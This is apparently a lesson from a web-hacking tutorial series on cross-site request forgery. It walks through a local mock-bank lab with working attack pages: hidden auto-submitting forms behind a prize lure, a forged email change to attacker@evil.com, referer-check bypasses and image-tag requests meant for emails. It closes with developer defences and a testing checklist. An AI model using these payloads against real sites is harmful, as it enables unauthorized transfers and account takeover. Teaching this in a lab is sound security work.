The Hacker's Arsenal

Lesson 8: Cross-Site Request Forgery (CSRF)

Making Users Attack Themselves

Cross-Site Request Forgery (CSRF) is beautifully simple: make a victim's browser send a request to a site where they're already logged in.

The victim's browser automatically includes their cookies. The server sees a valid session. The action executes. The victim never knew.

Let's master this technique.

How CSRF Works

Normal Request Flow

  1. User logs into bank.com
  2. User receives session cookie
  3. User makes a transfer: POST /transfer?to=friend&amount=100
  4. Browser sends request with session cookie
  5. Bank validates session and processes transfer

CSRF Attack Flow

  1. User logs into bank.com (session cookie stored)
  2. User visits attacker's page (while still logged in)
  3. Attacker's page automatically submits: POST bank.com/transfer?to=attacker&amount=1000
  4. Browser sends request with victim's session cookie
  5. Bank sees valid session, processes the transfer
  6. Attacker gets the money, victim is confused

Building the CSRF Lab

Download and run the CSRF practice lab:

CSRF Lab - SecureBank

Practice CSRF attacks against a mock banking application

Run with: python3 csrf_lab.py

The lab includes multiple CSRF vulnerabilities:

  1. Transfer Money (No Protection) - Completely unprotected
  2. Change Email (Weak Token) - Token exists but not validated properly
  3. Transfer Money (Referer Check) - Bypassable referer validation
  4. Change Password (Cookie Token) - Token in cookie
  5. Transfer via GET - State-changing GET request

Test users: alice/alice123, bob/bob123, admin/admin123

Attack 1: Basic CSRF (No Protection)

The Vulnerability

The /transfer1 endpoint has zero CSRF protection.

Create the Attack Page

Save as attack1.html:

<!DOCTYPE html>
<html>
<body>
<h1>Congratulations! You won a prize!</h1>
<p>Click below to claim your reward...</p>

<!-- Hidden form that auto-submits -->
<form id="csrf" action="http://localhost:8888/transfer1" method="POST" style="display:none;">
    <input type="hidden" name="to" value="bob">
    <input type="hidden" name="amount" value="500">
</form>

<script>
    document.getElementById('csrf').submit();
</script>

</body>
</html>

Execute the Attack

  1. Login as alice in the lab
  2. Open attack1.html in a new tab
  3. Check alice's balance — $500 is gone!

Variations

Image tag (GET requests):

<img src="http://localhost:8888/transfer_get?to=bob&amount=100">

Attack 2: Bypassing Weak CSRF Tokens

The Vulnerability

The /change_email endpoint checks for a CSRF token but doesn't validate it:

if token:  # Only checks existence, not correctness!

The Attack

Any token value works:

<form id="csrf" action="http://localhost:8888/change_email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="csrf_token" value="anything_works_here">
</form>
<script>document.getElementById('csrf').submit();</script>

Attack 3: Bypassing Referer Checks

The Vulnerability

The /transfer2 endpoint checks if "localhost" is in the Referer header:

if 'localhost' in referer or not referer:

Bypass 1: No Referer

Some browsers don't send Referer for certain requests. Force this with:

<meta name="referrer" content="no-referrer">
<form id="csrf" action="http://localhost:8888/transfer2" method="POST">
    ...
</form>

Bypass 2: Include "localhost" in URL

Host your attack on a page containing "localhost":

http://evil.com/localhost/attack.html

The Referer would be: http://evil.com/localhost/attack.html — contains "localhost"!

Attack 4: GET-Based CSRF

The Vulnerability

State-changing actions via GET are trivially exploitable:

<img src="http://localhost:8888/transfer_get?to=bob&amount=100">

When the image loads, the request fires. No JavaScript needed.

Email attack:

<img src="http://localhost:8888/transfer_get?to=bob&amount=100" width="1" height="1">

Many email clients load images automatically!

Prevention (For Developers)

1. CSRF Tokens

Include a random token in forms that's validated server-side:

# Generate token on form display
csrf_token = secrets.token_hex(32)
session['csrf_token'] = csrf_token

# Validate on submission
if request.form['csrf_token'] != session['csrf_token']:
    abort(403)

2. SameSite Cookies

Modern defense — cookies aren't sent on cross-site requests:

response.set_cookie('session', value, samesite='Strict')
ValueBehavior
StrictNever sent cross-site
LaxSent on navigation, not POST
NoneAlways sent (requires Secure)

3. Check Origin/Referer

Validate that requests come from your domain:

origin = request.headers.get('Origin')
if origin and origin != 'https://yoursite.com':
    abort(403)

CSRF Testing Checklist

  1. Identify state-changing requests — Forms, API calls
  2. Check for CSRF tokens — Are they present?
  3. Validate token implementation:
    • Is it actually validated?
    • Is it tied to the session?
    • Is it unpredictable?
  4. Check for Referer validation:
    • Can you remove the header?
    • Can you bypass the check?
  5. Check cookie settings:
    • Is SameSite set?
    • What value?

Lab Challenges

  1. Steal all of alice's money using basic CSRF
  2. Change alice's email by bypassing the weak token check
  3. Bypass the Referer check using no-referrer meta tag
  4. Chain CSRF with an earlier lesson — If the site had XSS, how would you exploit CSRF?

What You've Learned in Phase 2

Congratulations! You've completed the Core Vulnerabilities phase:

  • XSS — Inject scripts into pages
  • SQL Injection — Talk to databases
  • Authentication Attacks — Break logins
  • Session Hijacking — Steal identities
  • CSRF — Force users to attack themselves

These five vulnerabilities account for the majority of web application security issues. Master them and you understand most of web hacking.

What's Next?

Phase 3 takes you Beyond the Basics with intermediate techniques:

Lesson 9: File Upload Attacks — When uploads go wrong, shells get dropped.

Coming soon...